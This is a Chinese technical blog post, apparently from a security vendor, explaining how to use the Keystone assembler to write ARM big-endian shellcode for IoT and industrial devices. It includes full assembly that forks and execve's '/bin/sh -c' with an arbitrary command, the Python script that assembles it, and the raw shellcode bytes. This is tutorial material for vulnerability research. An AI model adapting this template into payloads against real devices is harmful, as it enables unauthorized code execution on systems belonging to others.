利用keystone进行shellcode开发

一、引言

IoT、ICS的设备除了可以利用较为简单的一些命令注入之类的漏洞外,其他堆栈溢出漏洞的利用往往离不开shellcode的开发,尤其是在运行着大量RTOS系统的工控设备上。这类设备基本不存在命令注入类漏洞,编写不同架构上的shellcode成为了高级漏洞利用的一个重要技术点,本篇文章会简单介绍如何使用Keystone进行shellcode开发。

二、Keystone框架介绍

Keystone是一个基于LLVM轻量级的多平台、多架构的汇编程序框架。

特点如下:

  • 多架构,支持 Arm、Arm64 (AArch64/Armv8)、以太坊虚拟机、Hexagon、Mips、PowerPC、Sparc、SystemZ 和 X86(包括 16/32/64 位)。
  • 干净/简单/轻量级/直观的架构中立的 API。
  • 使用C/C++ 语言实现,可绑定 Java、Masm、Visual Basic、C#、PowerShell、Perl、Python、NodeJS、Ruby、Go、Rust、Haskell 和 OCaml。
  • 对 Windows 和 *nix 的本机支持(支持 Mac OSX、Linux、*BSD 和 Solaris)。
  • 线程安全的设计。
  • 开源软件。

使用Keystone进行shellcode开发的好处如下:

  1. 现在最为流行的MSF框架生成的shellcode大多数适配的是X86/X64平台,而针对PPC,MIPS,ARM等架构支持不是很友好。无法使用现成的MSF直接生成对应的shellcode代码。
  2. 在编写异构平台的shellcode时候,往往要针对不同平台下载不同的编译工具(比如ARM大端要下载对应的工具链进行编译)。这样相对比较麻烦,况且每次修改代码还需要重新进行编译,而使用Keystone可以直接从汇编代码直接转换为对应的机器码,省去了诸多麻烦。
  3. 在编写exploit时候,有时候需要结合泄露出来的信息动态调整shellcode,如果不使用Keystone只能在机器码层面进行替换和跳转,使得代码可读性变差,影响exploit开发。

三、安装和使用

通过pip可以直接安装:

pip install keystone-engine

调用例子如下,

运行结果如下,生成的shellcode可以直接使用。

Ks的初始化参数有两个,架构arch和模式mode

架构定义如下:

模式定义如下:

如下指令含义为使用ARM大端架构ARM指令集。

ks = Ks(KS_ARCH_ARM, KS_MODE_ARM + KS_MODE_BIG_ENDIAN)

四、开发shellcode

为了简单起见 ,这里通过执行system来完成特定功能,而调用system函数时候,没有使用硬编码的地址,直接通过SVC来发起函数调用。调用system函数至少需要两个系统调用fork和execve,反编译libc如下所示:

直接查看对应的汇编即可得到系统调用号,fork函系统调用号为0x900002。

execve函数系统调用号为0x90000B。

execve函数原型如下:

为了执行任意命令,构造如下函数调用:

execve("/bin/sh", ["sh","-c","ls > /root/a.txt"], NULL)

python代码如下:

from keystone import *

CODE = '''

mov r12, sp;

push {r10,r12,lr};

mov r10, r12;

sub sp,sp,#0x20;

 

SVC  #0x900002;  //fork()

cmp r0,#0;

bne exit;

adr r0,command;

mov r1, sp;

mov r4, r1;

adr r3, arg0;

str r3, [r4];

adr r3, arg1;

str r3, [r4,#4];

adr r3, arg2;

str r3, [r4,#8];

eor r3, r3;

str r3, [r4,#12];

mov r2, #0;

 

SVC  #0x90000B;  //execve()

exit:

add sp,sp,#0x20;

ldmdb r10,{r10,sp,pc};

command:

        .string "/bin/sh"

 

arg0:  

        .string "sh"

 

arg1:  

        .string "-c"

 

arg2:  

        .string "ls > /root/a.txt"

 

'''

try:

ks = Ks(KS_ARCH_ARM, KS_MODE_ARM + KS_MODE_BIG_ENDIAN)

encoding, count = ks.asm(CODE)

print(bytes(encoding))

except KsError as e:

print("ERROR: %s" %e)

生成shellcode:

b'\xe1\xa0\xc0\r\xe9-T\x00\xe1\xa0\xa0\x0c\xe2M\xd0 \xef\x90

\x00\x02\xe3P\x00\x00\x1a\x00\x00\x0c\xe2\x8f\x004\xe1\xa0

\x10\r\xe1\xa0@\x01\xe2\x8f00\xe5\x840\x00\xe2\x8f0+\xe5

\x840\x04\xe2\x8f0&\xe5\x840\x08\xe0#0\x03\xe5\x840\x0c\xe3\xa0 \x00\xef\x90\x00\x0b\xe2\x8d\xd0 \xe9\x1a\xa4\x00/bin/sh\x00sh\x00-c\x00ls > /root/a.txt\x00'

执行这段shellcode后将会在root目录生成a.txt文件

五、总结

在实际的设备研究中,还会碰到各种不同的架构和操作系统,这就需要编写不同的shellcode来适配不同架构系统。有了Keystone后,就使得研究人员编写shellcode变得非常简单,只需要了解对应的架构和汇编知识,就可以非常快速编写出的针对设备的exploit代码。

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author